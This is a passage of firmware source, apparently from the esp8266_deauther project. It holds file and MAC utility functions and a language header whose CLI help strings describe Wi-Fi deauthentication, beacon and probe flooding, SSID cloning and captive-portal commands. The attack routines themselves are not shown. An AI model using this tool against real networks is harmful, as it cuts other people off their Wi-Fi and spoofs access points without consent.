if ((mac[0] == 0x01) && (mac[1] == 0x80) && (mac[2] == 0xC2)) return true;
|
||||
|
||||
if ((mac[0] == 0x01) && (mac[1] == 0x00) && ((mac[2] == 0x5E) || (mac[2] == 0x0C))) return true;
|
||||
|
||||
if ((mac[0] == 0x01) && (mac[1] == 0x0C) && (mac[2] == 0xCD) &&
|
||||
((mac[3] == 0x01) || (mac[3] == 0x02) || (mac[3] == 0x04)) &&
|
||||
((mac[4] == 0x00) || (mac[4] == 0x01))) return true;
|
||||
|
||||
if ((mac[0] == 0x01) && (mac[1] == 0x00) && (mac[2] == 0x0C) && (mac[3] == 0xCC) && (mac[4] == 0xCC) &&
|
||||
((mac[5] == 0xCC) || (mac[5] == 0xCD))) return true;
|
||||
|
||||
if ((mac[0] == 0x01) && (mac[1] == 0x1B) && (mac[2] == 0x19) && (mac[3] == 0x00) && (mac[4] == 0x00) &&
|
||||
(mac[5] == 0x00)) return true;
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/* ===== VENDOR LIST (oui.h) ===== */
|
||||
void getRandomMac(uint8_t* mac) {
|
||||
int num = random(sizeof(data_vendors) / 11 - 1);
|
||||
uint8_t i;
|
||||
|
||||
for (i = 0; i < 3; i++) mac[i] = pgm_read_byte_near(data_macs + num * 5 + i);
|
||||
|
||||
for (i = 3; i < 6; i++) mac[i] = random(256);
|
||||
}
|
||||
|
||||
int binSearchVendors(uint8_t* searchBytes, int lowerEnd, int upperEnd) {
|
||||
uint8_t listBytes[3];
|
||||
int res;
|
||||
int mid = (lowerEnd + upperEnd) / 2;
|
||||
|
||||
while (lowerEnd <= upperEnd) {
|
||||
listBytes[0] = pgm_read_byte_near(data_macs + mid * 5);
|
||||
listBytes[1] = pgm_read_byte_near(data_macs + mid * 5 + 1);
|
||||
listBytes[2] = pgm_read_byte_near(data_macs + mid * 5 + 2);
|
||||
|
||||
res = memcmp(searchBytes, listBytes, 3);
|
||||
|
||||
if (res == 0) {
|
||||
return mid;
|
||||
} else if (res < 0) {
|
||||
upperEnd = mid - 1;
|
||||
mid = (lowerEnd + upperEnd) / 2;
|
||||
} else if (res > 0) {
|
||||
lowerEnd = mid + 1;
|
||||
mid = (lowerEnd + upperEnd) / 2;
|
||||
}
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
String searchVendor(uint8_t* mac) {
|
||||
String vendorName = String();
|
||||
int pos = binSearchVendors(mac, 0, sizeof(data_macs) / 5 - 1);
|
||||
int realPos = pgm_read_byte_near(data_macs + pos * 5 + 3) | pgm_read_byte_near(data_macs + pos * 5 + 4) << 8;
|
||||
|
||||
if (pos >= 0) {
|
||||
char tmp;
|
||||
|
||||
for (int i = 0; i < 8; i++) {
|
||||
tmp = (char)pgm_read_byte_near(data_vendors + realPos * 8 + i);
|
||||
|
||||
if (tmp != ENDOFLINE) vendorName += tmp;
|
||||
tmp += SPACE;
|
||||
}
|
||||
}
|
||||
|
||||
return vendorName;
|
||||
}
|
||||
|
||||
/* ===== STRING ===== */
|
||||
String bytesToStr(uint8_t* b, uint32_t size) {
|
||||
String str;
|
||||
|
||||
for (uint32_t i = 0; i < size; i++) {
|
||||
if (b[i] < 0x10) str += ZERO;
|
||||
str += String(b[i], HEX);
|
||||
|
||||
if (i < size - 1) str += DOUBLEPOINT;
|
||||
}
|
||||
return str;
|
||||
}
|
||||
|
||||
String macToStr(uint8_t* mac) {
|
||||
return bytesToStr(mac, 6);
|
||||
}
|
||||
|
||||
bool strToMac(String macStr, uint8_t* mac) {
|
||||
macStr.replace(String(DOUBLEPOINT), String()); // ":" -> ""
|
||||
macStr.replace("0x", String()); // "0x" -> ""
|
||||
macStr.replace(String(COMMA), String()); // "," -> ""
|
||||
macStr.replace(String(DOUBLEQUOTES), String()); // "\"" -> ""
|
||||
macStr.toUpperCase();
|
||||
|
||||
if (macStr.length() != 12) {
|
||||
prntln(F_ERROR_MAC);
|
||||
return false;
|
||||
}
|
||||
|
||||
for (uint8_t i = 0; i < 6; i++) mac[i] = strtoul((macStr.substring(i * 2, i * 2 + 2)).c_str(), NULL, 16);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void strToColor(String str, uint8_t* buf) {
|
||||
str.replace(":", "");
|
||||
str.replace("0x", "");
|
||||
str.replace(",", "");
|
||||
str.replace("#", "");
|
||||
str.toUpperCase();
|
||||
|
||||
if (str.length() != 6) {
|
||||
prntln(F_COLOR_INVALID);
|
||||
return;
|
||||
}
|
||||
|
||||
for (uint8_t i = 0; i < 3; i++) buf[i] = strtoul((str.substring(i * 2, i * 2 + 2)).c_str(), NULL, 16);
|
||||
}
|
||||
|
||||
String center(String a, int len) {
|
||||
int spaces = len - a.length();
|
||||
|
||||
for (int i = 0; i < spaces; i += 2) {
|
||||
a = ' ' + a + ' ';
|
||||
}
|
||||
|
||||
a = a.substring(0, len);
|
||||
|
||||
return a;
|
||||
}
|
||||
|
||||
String left(String a, int len) {
|
||||
int spaces = len - a.length();
|
||||
|
||||
while (spaces > 0) {
|
||||
a = a + ' ';
|
||||
spaces--;
|
||||
}
|
||||
|
||||
a = a.substring(0, len);
|
||||
|
||||
return a;
|
||||
}
|
||||
|
||||
String right(String a, int len) {
|
||||
int spaces = len - a.length();
|
||||
|
||||
while (spaces > 0) {
|
||||
a = ' ' + a;
|
||||
spaces--;
|
||||
}
|
||||
|
||||
a = a.substring(0, len);
|
||||
|
||||
return a;
|
||||
}
|
||||
|
||||
String leftRight(String a, String b, int len) {
|
||||
int spaces = len - a.length() - b.length();
|
||||
|
||||
while (spaces > 0) {
|
||||
a = a + ' ';
|
||||
spaces--;
|
||||
}
|
||||
|
||||
a = a + b;
|
||||
|
||||
a = a.substring(0, len);
|
||||
|
||||
return a;
|
||||
}
|
||||
|
||||
/* ===== SPIFFS ===== */
|
||||
bool progmemToSpiffs(const char* adr, int len, String path) {
|
||||
prnt(str(SETUP_COPYING) + path + str(SETUP_PROGMEM_TO_SPIFFS));
|
||||
File f = SPIFFS.open(path, "w+");
|
||||
|
||||
if (!f) {
|
||||
prntln(SETUP_ERROR);
|
||||
return false;
|
||||
}
|
||||
|
||||
for (int i = 0; i < len; i++) {
|
||||
f.write(pgm_read_byte_near(adr + i));
|
||||
}
|
||||
f.close();
|
||||
|
||||
prntln(SETUP_OK);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool readFile(String path, String& buf) {
|
||||
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
|
||||
File f = SPIFFS.open(path, "r");
|
||||
|
||||
if (!f) return false;
|
||||
|
||||
if (f.size() == 0) return false;
|
||||
|
||||
while (f.available()) buf += (char)f.read();
|
||||
|
||||
f.close();
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void readFileToSerial(String path, bool showLineNum) {
|
||||
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
|
||||
File f = SPIFFS.open(path, "r");
|
||||
|
||||
if (!f) {
|
||||
prnt(F_ERROR_READING_FILE);
|
||||
prntln(path);
|
||||
return;
|
||||
}
|
||||
|
||||
uint32_t c = 0;
|
||||
char tmp;
|
||||
|
||||
if (showLineNum) {
|
||||
prnt(leftRight(String(), (String)c + String(VERTICALBAR), 6));
|
||||
}
|
||||
|
||||
while (f.available()) {
|
||||
tmp = f.read();
|
||||
prnt(tmp);
|
||||
|
||||
if ((tmp == NEWLINE) && showLineNum) {
|
||||
c++;
|
||||
prnt(leftRight(String(), (String)c + String(VERTICALBAR), 6));
|
||||
}
|
||||
}
|
||||
|
||||
f.close();
|
||||
}
|
||||
|
||||
bool copyFile(String pathFrom, String pathTo) {
|
||||
if (pathFrom.charAt(0) != SLASH) pathFrom = String(SLASH) + pathFrom;
|
||||
|
||||
if (pathTo.charAt(0) != SLASH) pathTo = String(SLASH) + pathTo;
|
||||
|
||||
if (!SPIFFS.exists(pathFrom)) {
|
||||
prnt(F_ERROR_FILE);
|
||||
prntln(pathFrom);
|
||||
return false;
|
||||
}
|
||||
|
||||
File f1 = SPIFFS.open(pathFrom, "r");
|
||||
File f2 = SPIFFS.open(pathTo, "w+");
|
||||
|
||||
if (!f1 || !f2) return false;
|
||||
|
||||
while (f1.available()) {
|
||||
f2.write(f1.read());
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool renameFile(String pathFrom, String pathTo) {
|
||||
if (pathFrom.charAt(0) != SLASH) pathFrom = String(SLASH) + pathFrom;
|
||||
|
||||
if (pathTo.charAt(0) != SLASH) pathTo = String(SLASH) + pathTo;
|
||||
|
||||
if (!SPIFFS.exists(pathFrom)) {
|
||||
prnt(F_ERROR_FILE);
|
||||
prntln(pathFrom);
|
||||
return false;
|
||||
}
|
||||
|
||||
SPIFFS.rename(pathFrom, pathTo);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool writeFile(String path, String& buf) {
|
||||
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
|
||||
File f = SPIFFS.open(path, "w+");
|
||||
|
||||
if (!f) return false;
|
||||
|
||||
uint32_t len = buf.length();
|
||||
|
||||
for (uint32_t i = 0; i < len; i++) f.write(buf.charAt(i));
|
||||
f.close();
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool appendFile(String path, String& buf) {
|
||||
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
|
||||
File f = SPIFFS.open(path, "a+");
|
||||
|
||||
if (!f) return false;
|
||||
|
||||
uint32_t len = buf.length();
|
||||
|
||||
for (uint32_t i = 0; i < len; i++) f.write(buf[i]);
|
||||
f.close();
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void checkFile(String path, String data) {
|
||||
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
|
||||
|
||||
if (!SPIFFS.exists(path)) writeFile(path, data);
|
||||
}
|
||||
|
||||
bool removeLines(String path, int lineFrom, int lineTo) {
|
||||
int c = 0;
|
||||
char tmp;
|
||||
|
||||
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
|
||||
|
||||
String tmpPath = str(F_TMP) + path + str(F_COPY);
|
||||
|
||||
File f = SPIFFS.open(path, "r");
|
||||
File f2 = SPIFFS.open(tmpPath, "w");
|
||||
|
||||
if (!f || !f2) return false;
|
||||
|
||||
while (f.available()) {
|
||||
tmp = f.read();
|
||||
|
||||
if ((c < lineFrom) || (c > lineTo)) f2.write(tmp);
|
||||
|
||||
if (tmp == NEWLINE) c++;
|
||||
}
|
||||
|
||||
f.close();
|
||||
f2.close();
|
||||
SPIFFS.remove(path);
|
||||
SPIFFS.rename(tmpPath, path);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool replaceLine(String path, int line, String& buf) {
|
||||
int c = 0;
|
||||
char tmp;
|
||||
|
||||
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
|
||||
|
||||
String tmpPath = "/tmp" + path + "_copy";
|
||||
|
||||
File f = SPIFFS.open(path, "r");
|
||||
File f2 = SPIFFS.open(tmpPath, "w");
|
||||
|
||||
if (!f || !f2) return false;
|
||||
|
||||
while (f.available()) {
|
||||
tmp = f.read();
|
||||
|
||||
if (c != line) f2.write(tmp);
|
||||
else {
|
||||
f2.println(buf);
|
||||
|
||||
while (f.read() != NEWLINE && f.available()) {}
|
||||
c++;
|
||||
}
|
||||
|
||||
if (tmp == NEWLINE) c++;
|
||||
}
|
||||
|
||||
f.close();
|
||||
f2.close();
|
||||
SPIFFS.remove(path);
|
||||
SPIFFS.rename(tmpPath, path);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
JsonVariant parseJSONFile(String path, DynamicJsonBuffer& jsonBuffer) {
|
||||
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
|
||||
|
||||
// create JSON Variant
|
||||
JsonVariant root;
|
||||
|
||||
// create buffer
|
||||
String buf = "";
|
||||
|
||||
// read file into buffer
|
||||
if (!readFile(path, buf)) { // if file couldn't be opened, send 404 error
|
||||
prnt(F_ERROR_OPEN);
|
||||
prntln(path);
|
||||
buf = "{}";
|
||||
}
|
||||
|
||||
// parse file-buffer into a JSON Variant
|
||||
root = jsonBuffer.parse(buf);
|
||||
|
||||
// if parsing unsuccessful
|
||||
if (!root.success()) {
|
||||
prnt(F_ERROR_PARSING_JSON);
|
||||
prntln(path);
|
||||
prntln(buf);
|
||||
}
|
||||
|
||||
return root;
|
||||
}
|
||||
|
||||
bool removeFile(String path) {
|
||||
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
|
||||
return SPIFFS.remove(path);
|
||||
}
|
||||
|
||||
void saveJSONFile(String path, JsonObject& root) {
|
||||
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
|
||||
|
||||
// create buffer
|
||||
String buf;
|
||||
|
||||
// convert JSON object into string and write it into buffer
|
||||
root.printTo(buf);
|
||||
|
||||
// if buffer too big
|
||||
if (buf.length() > 2048) {
|
||||
prntln(F_ERROR_TO_BIG);
|
||||
prntln(path);
|
||||
prntln(buf);
|
||||
return;
|
||||
}
|
||||
|
||||
// write buffer into SPIFFS file
|
||||
writeFile(path, buf);
|
||||
}
|
||||
|
||||
void saveJSONFile(String path, JsonArray& root) {
|
||||
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
|
||||
|
||||
// create buffer
|
||||
String buf;
|
||||
|
||||
// convert JSON object into string and write it into buffer
|
||||
root.printTo(buf);
|
||||
|
||||
// if buffer too big
|
||||
if (buf.length() > 2048) {
|
||||
prntln(F_ERROR_TO_BIG);
|
||||
prntln(path);
|
||||
prntln(buf);
|
||||
return;
|
||||
}
|
||||
|
||||
// write buffer into SPIFFS file
|
||||
writeFile(path, buf);
|
||||
}
|
||||
|
||||
String formatBytes(size_t bytes) {
|
||||
if (bytes < 1024) return String(bytes) + "B";
|
||||
else if (bytes < (1024 * 1024)) return String(bytes / 1024.0) + "KB";
|
||||
else if (bytes < (1024 * 1024 * 1024)) return String(bytes / 1024.0 / 1024.0) + "MB";
|
||||
else return String(bytes / 1024.0 / 1024.0 / 1024.0) + "GB";
|
||||
}
|
||||
|
||||
#endif // ifndef functions_h
|
||||
591
enp8266/esp8266_deauther-master/esp8266_deauther/language.h
Executable file
591
enp8266/esp8266_deauther-master/esp8266_deauther/language.h
Executable file
@@ -0,0 +1,591 @@
|
||||
#ifndef language_h
|
||||
#define language_h
|
||||
|
||||
#include "Arduino.h"
|
||||
|
||||
extern String str(const char* ptr);
|
||||
extern String keyword(const char* keywordPtr);
|
||||
extern bool eqls(const char* str, const char* keywordPtr);
|
||||
extern bool eqls(String str, const char* keywordPtr);
|
||||
extern String b2s(bool input);
|
||||
extern String b2a(bool input);
|
||||
extern bool s2b(String input);
|
||||
extern void prnt(String s);
|
||||
extern void prnt(bool b);
|
||||
extern void prnt(char c);
|
||||
extern void prnt(const char* ptr);
|
||||
extern void prnt(int i);
|
||||
extern void prntln();
|
||||
extern void prntln(String s);
|
||||
extern void prntln(bool b);
|
||||
extern void prntln(char c);
|
||||
extern void prntln(const char* ptr);
|
||||
extern void prntln(int i);
|
||||
|
||||
/*
|
||||
The following variables are the strings used for the serial interface, display interface and settings.
|
||||
The keywords for the serial CLI have a simple structure to save a bit of memory and CPU time:
|
||||
- every keyword has a unique string
|
||||
- / is used for optional characters, i.e. 'enable/d' makes 'enable' and 'enabled'
|
||||
- , is used for seperations, i.e. 'select/ed,-s' makes 'select', 'selected' and '-s'
|
||||
- everything is in lowercase
|
||||
*/
|
||||
|
||||
// ===== GLOBAL STRINGS ===== //
|
||||
|
||||
// Often used characters, therefor in the RAM
|
||||
const char CURSOR = '|';
|
||||
const char SPACE = ' ';
|
||||
const char DOUBLEPOINT = ':';
|
||||
const char EQUALS = '=';
|
||||
const char HASHSIGN = '#';
|
||||
const char ASTERIX = '*';
|
||||
const char PERCENT = '%';
|
||||
const char DASH = '-';
|
||||
const char QUESTIONMARK = '?';
|
||||
const char ZERO = '0';
|
||||
const char S = 's';
|
||||
const char M = 'm';
|
||||
const char D = 'd';
|
||||
const char DOUBLEQUOTES = '\"';
|
||||
const char SLASH = '/';
|
||||
const char NEWLINE = '\n';
|
||||
const char CARRIAGERETURN = '\r';
|
||||
const char SEMICOLON = ';';
|
||||
const char BACKSLASH = '\\';
|
||||
const char POINT = '.';
|
||||
const char VERTICALBAR = '|';
|
||||
const char COMMA = ',';
|
||||
const char ENDOFLINE = '\0';
|
||||
const char OPEN_BRACKET = '[';
|
||||
const char CLOSE_BRACKET = ']';
|
||||
const char OPEN_CURLY_BRACKET = '{';
|
||||
const char CLOSE_CURLY_BRACKET = '}';
|
||||
|
||||
const char STR_TRUE[] PROGMEM = "true";
|
||||
const char STR_FALSE[] PROGMEM = "false";
|
||||
const char STR_MIN[] PROGMEM = "min";
|
||||
|
||||
// ===== SETUP ===== //
|
||||
const char SETUP_OK[] PROGMEM = "OK";
|
||||
const char SETUP_ERROR[] PROGMEM = "ERROR";
|
||||
const char SETUP_MOUNT_SPIFFS[] PROGMEM = "Mounting SPIFFS...";
|
||||
const char SETUP_FORMAT_SPIFFS[] PROGMEM = "Formatting SPIFFS...";
|
||||
const char SETUP_SERIAL_WARNING[] PROGMEM = "Warning: Serial deactivated";
|
||||
const char SETUP_STARTED[] PROGMEM = "STARTED! \\o/";
|
||||
const char SETUP_COPYING[] PROGMEM = "Copying ";
|
||||
const char SETUP_PROGMEM_TO_SPIFFS[] PROGMEM = " from PROGMEM to SPIFFS...";
|
||||
|
||||
// ===== SERIAL COMMAND LINE INTERFACE ===== //
|
||||
const char CLI_SCAN[] PROGMEM = "scan"; // scan
|
||||
const char CLI_REBOOT[] PROGMEM = "reboot"; // reboot
|
||||
const char CLI_STATUS[] PROGMEM = "status"; // status
|
||||
const char CLI_SHOW[] PROGMEM = "show"; // show
|
||||
const char CLI_REMOVE[] PROGMEM = "remove"; // remove
|
||||
const char CLI_SET[] PROGMEM = "set"; // set
|
||||
const char CLI_STOP[] PROGMEM = "stop"; // stop
|
||||
const char CLI_LOAD[] PROGMEM = "load"; // load
|
||||
const char CLI_SAVE[] PROGMEM = "save"; // save
|
||||
const char CLI_ADD[] PROGMEM = "add"; // add
|
||||
const char CLI_DESELECT[] PROGMEM = "deselect"; // deselect
|
||||
const char CLI_CLEAR[] PROGMEM = "clear"; // clear
|
||||
const char CLI_SYSINFO[] PROGMEM = "sysinfo"; // sysinfo
|
||||
const char CLI_RESET[] PROGMEM = "reset"; // reset
|
||||
const char CLI_ON[] PROGMEM = "on"; // on
|
||||
const char CLI_OFF[] PROGMEM = "off"; // off
|
||||
const char CLI_RANDOM[] PROGMEM = "random"; // random
|
||||
const char CLI_GET[] PROGMEM = "get"; // get
|
||||
const char CLI_INFO[] PROGMEM = "info"; // info
|
||||
const char CLI_HELP[] PROGMEM = "help"; // help
|
||||
const char CLI_RICE[] PROGMEM = "rice"; // rice
|
||||
const char CLI_FORMAT[] PROGMEM = "format"; // format
|
||||
const char CLI_DELETE[] PROGMEM = "delete"; // delete
|
||||
const char CLI_PRINT[] PROGMEM = "print"; // print
|
||||
const char CLI_RUN[] PROGMEM = "run"; // run
|
||||
const char CLI_WRITE[] PROGMEM = "write"; // write
|
||||
const char CLI_LED[] PROGMEM = "led"; // led
|
||||
const char CLI_SEND[] PROGMEM = "send"; // send
|
||||
const char CLI_CUSTOM[] PROGMEM = "custom"; // custom
|
||||
const char CLI_DELAY[] PROGMEM = "delay"; // delay
|
||||
const char CLI_REPLACE[] PROGMEM = "replace"; // replace
|
||||
const char CLI_DRAW[] PROGMEM = "draw"; // draw
|
||||
const char CLI_SCRIPT[] PROGMEM = "script"; // script
|
||||
const char CLI_STARTAP[] PROGMEM = "startap"; // startap
|
||||
const char CLI_STOPAP[] PROGMEM = "stopap"; // stopap
|
||||
const char CLI_RENAME[] PROGMEM = "rename"; // rename
|
||||
const char CLI_COPY[] PROGMEM = "copy"; // copy
|
||||
const char CLI_ENABLE[] PROGMEM = "enable/d"; // enable, enabled
|
||||
const char CLI_DISABLE[] PROGMEM = "disable/d"; // disable, disabled
|
||||
const char CLI_WPA2[] PROGMEM = "wpa/2,-wpa/2"; // wpa, wpa2, -wpa, -wpa2
|
||||
const char CLI_ATTACK[] PROGMEM = "attack/s"; // attack, attacks
|
||||
const char CLI_CHICKEN[] PROGMEM = "chicken/s"; // chicken, chickens
|
||||
const char CLI_SETTING[] PROGMEM = "setting/s"; // setting, settings
|
||||
const char CLI_ID[] PROGMEM = "id,-i/d"; // id, -i, -id
|
||||
const char CLI_ALL[] PROGMEM = "all,-a"; // all, -a
|
||||
const char CLI_TIME[] PROGMEM = "time,-t"; // time, -t
|
||||
const char CLI_CONTINUE[] PROGMEM = "continue,-c"; // continue, -c
|
||||
const char CLI_CHANNEL[] PROGMEM = "channel,-ch"; // channel, -ch
|
||||
const char CLI_MAC[] PROGMEM = "mac,-m"; // mac, -m
|
||||
const char CLI_BSSID[] PROGMEM = "bssid,-b"; // bssid, -b
|
||||
const char CLI_BEACON[] PROGMEM = "beacon,-b"; // bssid, -b
|
||||
const char CLI_DEAUTH[] PROGMEM = "deauth,-d"; // deauth, -d
|
||||
const char CLI_DEAUTHALL[] PROGMEM = "deauthall,-da"; // deauthall, -da
|
||||
const char CLI_PROBE[] PROGMEM = "probe,-p"; // probe, -p
|
||||
const char CLI_NOOUTPUT[] PROGMEM = "nooutput,-no"; // nooutput, -no
|
||||
const char CLI_FORCE[] PROGMEM = "force,-f"; // force, -f
|
||||
const char CLI_TIMEOUT[] PROGMEM = "timeout,-t"; // timeout, -t
|
||||
const char CLI_WIFI[] PROGMEM = "wifi,-w"; // wifi, -w
|
||||
const char CLI_CLONES[] PROGMEM = "clones,-cl"; // clones, -cl
|
||||
const char CLI_PATH[] PROGMEM = "path,-p"; // path, -p
|
||||
const char CLI_PASSWORD[] PROGMEM = "password,-ps/wd"; // password, -ps, -pswd
|
||||
const char CLI_HIDDEN[] PROGMEM = "hidden,-h"; // hidden, -h
|
||||
const char CLI_CAPTIVEPORTAL[] PROGMEM = "captiveportal,-cp"; // captiveportal, -cp
|
||||
const char CLI_SELECT[] PROGMEM = "select/ed,-s"; // select, selected, -s
|
||||
const char CLI_SSID[] PROGMEM = "ssid/s,-s/s"; // ssid, ssids, -s, -ss
|
||||
const char CLI_AP[] PROGMEM = "ap/s,-ap/s"; // ap, aps, -ap, -aps
|
||||
const char CLI_STATION[] PROGMEM = "station/s,-st"; // station, stations, -st
|
||||
const char CLI_NAME[] PROGMEM = "name/s,-n"; // name, names, -n
|
||||
const char CLI_LINE[] PROGMEM = "line/s,-l"; // line, lines, -l
|
||||
const char CLI_COMMENT[] PROGMEM = "//"; // //
|
||||
const char CLI_SCREEN[] PROGMEM = "screen"; // screen
|
||||
const char CLI_MODE[] PROGMEM = "mode,-m"; // mode
|
||||
const char CLI_MODE_BUTTONTEST[] PROGMEM = "buttontest"; // buttontest
|
||||
const char CLI_MODE_PACKETMONITOR[] PROGMEM = "packetmonitor"; // packetmonitor
|
||||
const char CLI_MODE_LOADINGSCREEN[] PROGMEM = "loadingscreen"; // loading
|
||||
const char CLI_MODE_MENU[] PROGMEM = "menu"; // menu
|
||||
|
||||
const char CLI_HELP_HELP[] PROGMEM = "help";
|
||||
const char CLI_HELP_SCAN[] PROGMEM = "scan [<all/aps/stations>] [-t <time>] [-c <continue-time>] [-ch <channel>]";
|
||||
const char CLI_HELP_SHOW[] PROGMEM = "show [selected] [<all/aps/stations/names/ssids>]";
|
||||
const char CLI_HELP_SELECT[] PROGMEM = "select [<all/aps/stations/names>] [<id>]";
|
||||
const char CLI_HELP_DESELECT[] PROGMEM = "deselect [<all/aps/stations/names>] [<id>]";
|
||||
const char CLI_HELP_SSID_A[] PROGMEM = "add ssid <ssid> [-wpa2] [-cl <clones>]";
|
||||
const char CLI_HELP_SSID_B[] PROGMEM = "add ssid -ap <id> [-cl <clones>] [-f]";
|
||||
const char CLI_HELP_SSID_C[] PROGMEM = "add ssid -s [-f]";
|
||||
const char CLI_HELP_NAME_A[] PROGMEM = "add name <name> [-ap <id>] [-s]";
|
||||
const char CLI_HELP_NAME_B[] PROGMEM = "add name <name> [-st <id>] [-s]";
|
||||
const char CLI_HELP_NAME_C[] PROGMEM = "add name <name> [-m <mac>] [-ch <channel>] [-b <bssid>] [-s]";
|
||||
const char CLI_HELP_SET_NAME[] PROGMEM = "set name <id> <newname>";
|
||||
const char CLI_HELP_ENABLE_RANDOM[] PROGMEM = "enable random <interval>";
|
||||
const char CLI_HELP_DISABLE_RANDOM[] PROGMEM = "disable random";
|
||||
const char CLI_HELP_LOAD[] PROGMEM = "load [<all/ssids/names/settings>] [<file>]";
|
||||
const char CLI_HELP_SAVE[] PROGMEM = "save [<all/ssids/names/settings>] [<file>]";
|
||||
const char CLI_HELP_REMOVE_A[] PROGMEM = "remove <ap/station/name/ssid> <id>";
|
||||
const char CLI_HELP_REMOVE_B[] PROGMEM = "remove <ap/station/names/ssids> [all]";
|
||||
const char CLI_HELP_ATTACK[] PROGMEM = "attack [beacon] [deauth] [deauthall] [probe] [nooutput] [-t <timeout>]";
|
||||
const char CLI_HELP_ATTACK_STATUS[] PROGMEM = "attack status [<on/off>]";
|
||||
const char CLI_HELP_STOP[] PROGMEM = "stop <all/scan/attack/script>";
|
||||
const char CLI_HELP_SYSINFO[] PROGMEM = "sysinfo";
|
||||
const char CLI_HELP_CLEAR[] PROGMEM = "clear";
|
||||
const char CLI_HELP_FORMAT[] PROGMEM = "format";
|
||||
const char CLI_HELP_PRINT[] PROGMEM = "print <file> [<lines>]";
|
||||
const char CLI_HELP_DELETE[] PROGMEM = "delete <file> [<lineFrom>] [<lineTo>]";
|
||||
const char CLI_HELP_REPLACE[] PROGMEM = "replace <file> <line> <new-content>";
|
||||
const char CLI_HELP_COPY[] PROGMEM = "copy <file> <newfile>";
|
||||
const char CLI_HELP_RENAME[] PROGMEM = "rename <file> <newfile>";
|
||||
const char CLI_HELP_RUN[] PROGMEM = "run <file>";
|
||||
const char CLI_HELP_WRITE[] PROGMEM = "write <file> <commands>";
|
||||
const char CLI_HELP_GET[] PROGMEM = "get <setting>";
|
||||
const char CLI_HELP_SET[] PROGMEM = "set <setting> <value>";
|
||||
const char CLI_HELP_RESET[] PROGMEM = "reset";
|
||||
const char CLI_HELP_CHICKEN[] PROGMEM = "chicken";
|
||||
const char CLI_HELP_REBOOT[] PROGMEM = "reboot";
|
||||
const char CLI_HELP_INFO[] PROGMEM = "info";
|
||||
const char CLI_HELP_COMMENT[] PROGMEM = "// <comments>";
|
||||
const char CLI_HELP_SEND_DEAUTH[] PROGMEM = "send deauth <apMac> <stMac> <rason> <channel>";
|
||||
const char CLI_HELP_SEND_BEACON[] PROGMEM = "send beacon <mac> <ssid> <ch> [wpa2]";
|
||||
const char CLI_HELP_SEND_PROBE[] PROGMEM = "send probe <mac> <ssid> <ch>";
|
||||
const char CLI_HELP_LED_A[] PROGMEM = "led <r> <g> <b> [<brightness>]";
|
||||
const char CLI_HELP_LED_B[] PROGMEM = "led <#rrggbb> [<brightness>]";
|
||||
const char CLI_HELP_LED_ENABLE[] PROGMEM = "led <enable/disable>";
|
||||
const char CLI_HELP_DRAW[] PROGMEM = "draw";
|
||||
const char CLI_HELP_SCREEN_ON[] PROGMEM = "screen <on/off>";
|
||||
const char CLI_HELP_SCREEN_MODE[] PROGMEM = "screen mode <menu/packetmonitor/buttontest/loading>";
|
||||
|
||||
const char CLI_INPUT_PREFIX[] PROGMEM = "# ";
|
||||
const char CLI_SERIAL_ENABLED[] PROGMEM = "Serial interface enabled";
|
||||
const char CLI_SERIAL_DISABLED[] PROGMEM = "Serial interface disabled";
|
||||
const char CLI_ERROR[] PROGMEM = "ERROR: ";
|
||||
const char CLI_ERROR_PARAMETER[] PROGMEM = "Error Invalid parameter \"";
|
||||
const char CLI_STOPPED_SCRIPT[] PROGMEM = "Cleared CLI command queue";
|
||||
const char CLI_CONTINUOUSLY[] PROGMEM = "continuously";
|
||||
const char CLI_EXECUTING[] PROGMEM = "Executing ";
|
||||
const char CLI_SCRIPT_DONE_CONTINUE[] PROGMEM = "Done executing script - type 'stop script' to end the continuous mode";
|
||||
const char CLI_SCRIPT_DONE[] PROGMEM = "Done executing script";
|
||||
const char CLI_HELP_HEADER[] PROGMEM = "[===== List of commands =====]";
|
||||
const char CLI_HELP_FOOTER[] PROGMEM = "========================================================================\r\nfor more information please visit github.com/spacehuhn/esp8266_deauther\r\n========================================================================";
|
||||
const char CLI_ERROR_NAME_LEN[] PROGMEM = "ERROR : Name length 0";
|
||||
const char CLI_ERROR_MAC_LEN[] PROGMEM = "ERROR : MAC length 0";
|
||||
const char CLI_RICE_START[] PROGMEM = "Starting rice debugger (auto - repair mode enabled), please stand by...\r\nKeep the device connected to a power supply until the debugger ends\r\nYOU RISK TO BRICK THE BOARD!!!";
|
||||
const char CLI_RICE_OUTPUT[] PROGMEM = "[ % d % % ]\r\n";
|
||||
const char CLI_RICE_ERROR[] PROGMEM = "ERROR : Memory check failure at block 0x";
|
||||
const char CLI_RICE_MEM[] PROGMEM = "Checking memory block 0x";
|
||||
const char CLI_CHICKEN_OUTPUT[] PROGMEM = " ` - : /////////:-. \r\n"
|
||||
" ./++so:` `` `.:/++/. \r\n"
|
||||
" `/+o+.+o:.s:-++//s` `:++- \r\n"
|
||||
" `/+oo+//d- oh/ s- :o/` \r\n"
|
||||
" .++.o+` `h- .d. h`://+` .o+ \r\n"
|
||||
" .o+` +/ +o y- +d+. .y .s- \r\n"
|
||||
" +o` h d` `/ .h- `h ++ \r\n"
|
||||
" .s- d - .` +/ /o \r\n"
|
||||
" :o` y. -y /+ \r\n"
|
||||
" /+ :o ` -h` s: \r\n"
|
||||
" /o y..://///////:` /o/o. `h \r\n"
|
||||
